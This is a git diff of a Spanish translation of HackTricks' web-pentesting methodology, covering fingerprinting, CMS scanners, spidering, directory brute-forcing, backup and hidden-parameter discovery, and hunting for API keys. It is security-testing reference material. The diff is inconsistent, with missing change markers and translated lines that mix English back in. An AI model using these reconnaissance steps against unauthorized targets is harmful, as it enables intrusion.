Translated ['src/network-services-pentesting/pentesting-web/sitecore/REA

2025-10-10 18:36:50 +00:00 · 2025-09-08 03:05:23 +00:00 · 2025-09-08 03:05:23 +00:00 · aa888902f2
commit aa888902f2
parent dedb98bf59
5 changed files with 514 additions and 222 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -447,6 +447,7 @@
  - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
  - [Nginx](network-services-pentesting/pentesting-web/nginx.md)
  - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+  - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
  - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
    - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
      - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
-  
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Información Básica
+## Información básica

 El servicio web es el servicio más **común y amplio** y existen muchos **tipos diferentes de vulnerabilidades**.

@ -26,36 +26,36 @@ web-api-pentesting.md

 ## Resumen de la metodología

-> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web no determinado dentro del alcance.
+> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web indeterminado dentro del alcance.

- [ ] Comienza por **identificar** las **tecnologías** que usa el servidor web. Busca **trucos** que puedas tener en cuenta durante el resto de la prueba si consigues identificar la tecnología.
- [ ] ¿Alguna **vulnerabilidad conocida** de la versión de la tecnología?
- [ ] ¿Se está usando alguna **tecnología conocida**? ¿Algún **truco útil** para extraer más información?
- [ ] ¿Algún **scanner especializado** que ejecutar (como wpscan)?
- [ ] Lanza **scanners de propósito general**. Nunca sabes si van a encontrar algo o si van a devolver información interesante.
- [ ] Empieza con las **comprobaciones iniciales**: **robots**, **sitemap**, error **404** y **SSL/TLS scan** (si HTTPS).
- [ ] Comienza a **spidering** la página web: es hora de **encontrar** todos los posibles **ficheros, carpetas** y **parámetros usados**. Además, busca **hallazgos especiales**.
- [ ] _Ten en cuenta que cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser spidered._
- [ ] **Directory Brute-Forcing**: Intenta brute forcear todas las carpetas descubiertas buscando nuevos **ficheros** y **directorios**.
- [ ] _Ten en cuenta que cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser Brute-Forced._
- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de los **ficheros descubiertos** añadiendo extensiones de backup comunes.
- [ ] **Brute-Force parameters**: Intenta **encontrar parámetros ocultos**.
- [ ] Una vez hayas **identificado** todos los posibles **endpoints** que aceptan **user input**, comprueba todo tipo de **vulnerabilidades** relacionadas.
- [ ] [Sigue esta checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] Comienza por **identificar** las **tecnologías** usadas por el web server. Busca **trucos** para tener en cuenta durante el resto del test si consigues identificar correctamente la tech.
+- [ ] ¿Alguna **known vulnerability** de la versión de la tecnología?
+- [ ] ¿Usando alguna **well known tech**? ¿Algún **useful trick** para extraer más información?
+- [ ] ¿Algún **specialised scanner** que ejecutar (como wpscan)?
+- [ ] Lanza **general purposes scanners**. Nunca sabes si van a encontrar algo o si van a revelar información interesante.
+- [ ] Empieza con las **initial checks**: **robots**, **sitemap**, **404** error y **SSL/TLS scan** (si HTTPS).
+- [ ] Comienza con **spidering** la página web: es hora de **find** todos los posibles **files, folders** y **parameters being used.** Además, revisa si hay **special findings**.
+- [ ] _Nota: cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser spidered._
+- [ ] **Directory Brute-Forcing**: Intenta brute forcear todas las carpetas descubiertas buscando nuevos **files** y **directories**.
+- [ ] _Nota: cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser Brute-Forced._
+- [ ] **Backups checking**: Prueba si puedes encontrar **backups** de **discovered files** añadiendo extensiones de backup comunes.
+- [ ] **Brute-Force parameters**: Intenta **find hidden parameters**.
+- [ ] Una vez que hayas **identified** todos los posibles **endpoints** que aceptan **user input**, verifica todo tipo de **vulnerabilities** relacionadas con ellos.
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)

-## Versión del servidor (¿Vulnerable?)
+## Server Version (Vulnerable?)

 ### Identificar

-Comprueba si existen **vulnerabilidades conocidas** para la **versión** del servidor que está ejecutándose.\
-Los **HTTP headers y cookies de la respuesta** pueden ser muy útiles para **identificar** las **tecnologías** y/o la **versión** que se está usando. Un **Nmap scan** puede identificar la versión del servidor, pero también pueden resultar útiles herramientas como [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
+Check if there are **known vulnerabilities** for the server **version** that is running.\
+Los **HTTP headers and cookies of the response** pueden ser muy útiles para **identificar** las **tecnologies** y/o la **version** que se está usando. Un **Nmap scan** puede identificar la versión del servidor, pero también pueden ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Buscar **por** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)

 ### **Comprobar si hay algún WAF**

@ -63,9 +63,9 @@ Buscar **por** [**vulnerabilities of the web application** **version**](../../ge
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)

-### Trucos de tecnologías Web
+### Trucos de tecnología web

-Algunos **tricks** para **finding vulnerabilities** en diferentes bien conocidas **technologies** que se están usando:
+Algunos **trucos** para **encontrar vulnerabilidades** en diferentes bien conocidas **tecnologías** que se estén usando:

 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@ -100,26 +100,27 @@ Algunos **tricks** para **finding vulnerabilities** en diferentes bien conocidas
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Sitecore**](sitecore/index.html)

-_Ten en cuenta que el **mismo dominio** puede estar usando **diferentes technologies** en distintos **puertos**, **carpetas** y **subdominios**._\
-Si la web application está usando alguna well known **tech/platform listed before** o **any other**, no olvides **search on the Internet** nuevos tricks (¡y avísame!).
+_Ten en cuenta que el **same domain** puede estar usando **different technologies** en diferentes **ports**, **folders** y **subdomains**._\
+Si la web application está usando alguna bien conocida **tech/platform listed before** o **any other**, no olvides **search on the Internet** nuevos trucos (¡y avísame!).

-### Revisión de código fuente
+### Revisión del Source Code

-Si el **source code** de la aplicación está disponible en **github**, además de realizar por **tu cuenta un White box test** de la aplicación, hay **algunas informaciones** que podrían ser **útiles** para la actual **Black-Box testing**:
+Si el **source code** de la aplicación está disponible en **github**, aparte de realizar por **your own a White box test** de la aplicación, hay **some information** que podría ser **useful** para el actual **Black-Box testing**:

 - ¿Existe un **Change-log or Readme or Version** file o cualquier cosa con **version info accessible** vía web?
- ¿Cómo y dónde se guardan las **credentials**? ¿Hay algún (¿accessible?) **file** con credentials (usernames o passwords)?
- ¿Los passwords están en **plain text**, **encrypted** o qué **hashing algorithm** se usa?
- ¿Está usando alguna **master key** para cifrar algo? ¿Qué **algorithm** se usa?
- ¿Puedes acceder a alguno de estos files explotando alguna vulnerabilidad?
- ¿Hay alguna información interesante en los **github** issues (resueltos o no)? ¿O en el **commit history** (quizá algún password introducido en un commit antiguo)?
+- ¿Cómo y dónde se guardan las **credentials**? ¿Hay algún (¿accessible?) **file** con credentials (usernames or passwords)?
+- ¿Los **passwords** están en **plain text**, **encrypted** o qué **hashing algorithm** se usa?
+- ¿Usa alguna **master key** para encriptar algo? ¿Qué **algorithm** se usa?
+- ¿Puedes **access any of these files** explotando alguna vulnerabilidad?
+- ¿Hay alguna **interesting information in the github** (solved and not solved) en **issues**? ¿O en **commit history** (quizá algún **password introduced inside an old commit**)?

 {{#ref}}
 code-review-tools.md
 {{#endref}}

-### Automatic scanners
+### Escáneres automáticos

 #### Escáneres automáticos de propósito general
 ```bash
@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### Escáneres de CMS

-Si se utiliza un CMS no olvides **ejecutar un escáner**, quizá encuentres algo jugoso:
+Si se utiliza un CMS, no olvides ejecutar un scanner, quizá encuentres algo jugoso:

 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web para detectar problemas de seguridad. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web en busca de problemas de seguridad. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\  
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,13 +149,13 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> En este punto ya deberías tener algo de información sobre el servidor web utilizado por el cliente (si se proporcionó algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún scanner.
+> En este punto ya deberías tener información sobre el servidor web que utiliza el cliente (si se han dado datos) y algunos trucos a tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún scanner.

-## Descubrimiento paso a paso de la aplicación web
+## Descubrimiento paso a paso de aplicaciones web

 > A partir de este punto vamos a empezar a interactuar con la aplicación web.

-### Verificaciones iniciales
+### Comprobaciones iniciales

 **Páginas por defecto con información interesante:**

@ -163,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
- Check also comments in the main and secondary pages.
+- Revisa también los comentarios en las páginas principales y secundarias.

-**Forzar errores**
+**Provocar errores**

-Los servidores web pueden **comportarse de forma inesperada** cuando se les envía datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
+Los servidores web pueden **comportarse de forma inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **revelar información sensible**.

 - Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
- **Agrega "\[]", "]]", and "\[\["** en **cookie values** y **parameter** values para crear errores
- Genera un error dando como input **`/~randomthing/%s`** al **final** de la **URL**
- Prueba **different HTTP Verbs** como PATCH, DEBUG o inválidos como FAKE
+- **Añade "\[]", "]]", and "\[["** en **valores de cookie** y **valores de parámetros** para generar errores
+- Genera un error dando como entrada **`/~randomthing/%s`** al **final** de la **URL**
+- Prueba **distintos verbos HTTP** como PATCH, DEBUG o verbos incorrectos como FAKE

 #### **Comprueba si puedes subir archivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**

-Si descubres que **WebDav** está **habilitado** pero no tienes permisos suficientes para **uploading files** en la carpeta raíz intenta:
+Si encuentras que **WebDav** está **habilitado** pero no tienes permisos suficientes para **subir archivos** en la carpeta raíz intenta:

- **Brute Force** credenciales
- **Upload files** vía WebDav al **rest** de los **found folders** dentro de la página web. Puede que tengas permisos para **upload files** en otras carpetas.
+- **Brute Force** credentials
+- **Subir archivos** vía WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.

 ### **Vulnerabilidades SSL/TLS**

- Si la aplicación **no está forzando el uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad alta.
+- Si la aplicación **no fuerza el uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
+- Si la aplicación **envía datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad crítica.

-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (En Bug Bounty programs probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv) para volver a comprobar las vulnerabilidades:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (en programas de Bug Bounty probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@ -195,57 +196,57 @@ Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vu
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Información sobre vulnerabilidades de SSL/TLS:
+Información sobre vulnerabilidades SSL/TLS:

 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)

 ### Spidering

-Lanza algún tipo de **spider** dentro del sitio web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación probada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar tantas rutas válidas como sea posible.
+Lanza algún tipo de **spider** dentro del web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación testeada. Por tanto, se deben usar crawling y fuentes externas para hallar la mayor cantidad de rutas válidas posible.

- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com).
 - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, con LinkFider para archivos JS y Archive.org como fuente externa.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, además indica "juicy files".
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, también indica "juicy files".
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactivo HTML spider. También busca en Archive.org
 - [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider pero puede ser útil. Puedes indicar un archivo con hosts y un archivo con paths y meg hará fetch de cada path en cada host y guardará la respuesta.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no mantenerse, la versión precompilada es antigua y el código actual no compila.
- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl).
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no estar mantenida, la versión precompilada es antigua y el código actual no compila.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl)
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacidades de renderizado JS.
 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacidades de JS beautify capaz de buscar nuevas rutas en archivos JS. También puede valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un wrapper de LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el source HTML como en archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 que usa Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece no mantenerse.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos minificados.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recopila información interesante de archivos JS usando varias herramientas.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto del source HTML como de archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 que usa Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente requests AJAX. Parece no estar mantenido.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando una expresión regular ingeniosa para encontrar y extraer URLs relativas de archivos minificados.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recolecta información interesante de archivos JS usando varias herramientas.
 - [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador headless e imprime todas las urls cargadas para renderizar la página.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de content discovery que mezcla varias opciones de las herramientas anteriores.
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar paths y params en archivos JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dada la URL .js.map te devolverá el código JS beautyfied.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta para descubrir endpoints para un objetivo dado.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre links desde la wayback machine (también descarga las respuestas en la wayback y busca más links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando forms) y también encuentra info sensible usando regexes específicas.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un crawler/spider GUI multi-feature avanzado diseñado para profesionales de ciberseguridad.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un package Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secrets y otros datos interesantes del código fuente JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests para crear wordlists personalizadas para fuzzing y enumeración.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente herramienta para esto.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que, dada la URL .js.map, te obtiene el código JS beautified.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta usada para descubrir endpoints para un objetivo dado.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces desde wayback machine (también descarga las respuestas en wayback y busca más enlaces).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando formularios) y además encuentra info sensible usando regexes específicas.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un crawler/spider GUI multi-función diseñado para profesionales de ciberseguridad.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete Go y [herramienta CLI](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secrets y otros datos interesantes del código fuente JavaScript.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer parámetros y endpoints** de las requests para crear wordlists custom para fuzzing y enumeración.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta excelente para esto.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que es capaz de encontrar.

 ### Brute Force directories and files

-Comienza el **brute-forcing** desde la carpeta raíz y asegúrate de brute-force **todas** las **rutas encontradas** usando **este método** y todas las rutas **descubiertas** por el **Spidering** (puedes hacer este brute-forcing **recursivamente** y añadir al inicio de la wordlist usada los nombres de los directorios encontrados).\
+Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
 Herramientas:

- **Dirb** / **Dirbuster** - Incluido en Kali, **old** (y **slow**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento comparado con otras opciones.
+- **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento comparado con otras opciones.
 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva.
 - [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, no tiene búsqueda **recursiva**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, soporta búsqueda recursiva.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): No es un spider pero es una herramienta que, dada la lista de URLs encontradas, eliminará las URLs "duplicadas".
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para crear una lista de directorios a partir del histórico de Burp de diferentes páginas.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en imports JS).
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): Esto no es un spider sino una herramienta que, dada la lista de URLs encontradas, eliminará URLs "duplicadas".
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para crear una lista de directorios a partir del historial de Burp de diferentes páginas.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en imports de js).
 - [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologías usadas y seleccionar las wordlists a usar.

 **Diccionarios recomendados:**
@ -271,18 +272,18 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante el brute

 ### What to check on each file found

- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontrar enlaces rotos dentro de HTMLs que pueden ser propensos a takeovers.
- **File Backups**: Una vez que has encontrado todos los archivos, busca backups de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar un backup son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de los HTML que pueden ser susceptibles a takeovers.
+- **File Backups**: Una vez que hayas encontrado todos los archivos, busca backups de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar un backup son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Discover new parameters**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, intenta buscar** parámetros ocultos en cada archivo web ejecutable.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Revisa los comentarios de todos los archivos, puedes encontrar **credentials** u **ocultas funcionalidades**.
- Si estás jugando en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el source con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web.
- **API keys**: Si **encuentras alguna API key** hay proyectos que indican cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Si encuentras una API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar qué apis puede acceder la key.
- **S3 Buckets**: Mientras haces spidering busca si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**revisa** los **permisos** del bucket](buckets/index.html).
+- **Comments:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidad oculta**.
+- Si juegas en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el source con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web.
+- **API keys**: Si **encuentras alguna API key** existe una guía que indica cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Si encuentras una API key que parezca **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar a qué apis puede acceder la key.
+- **S3 Buckets**: Mientras haces spidering mira si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**comprueba** los **permisos** del bucket](buckets/index.html).

 ### Special findings

@ -290,18 +291,18 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante el brute

 **Archivos interesantes**

- Busca **links** a otros archivos dentro de los **CSS**.
+- Busca **links** a otros archivos dentro de los archivos **CSS**.
 - [If you find a _**.git**_ file some information can be extracted](git.md)
- Si encuentras un _**.env**_ se pueden encontrar información como api keys, contraseñas de dbs y otros datos.
- Si encuentras **API endpoints** también [deberías probarlos](web-api-pentesting.md). No son archivos, pero probablemente "se verán" como tal.
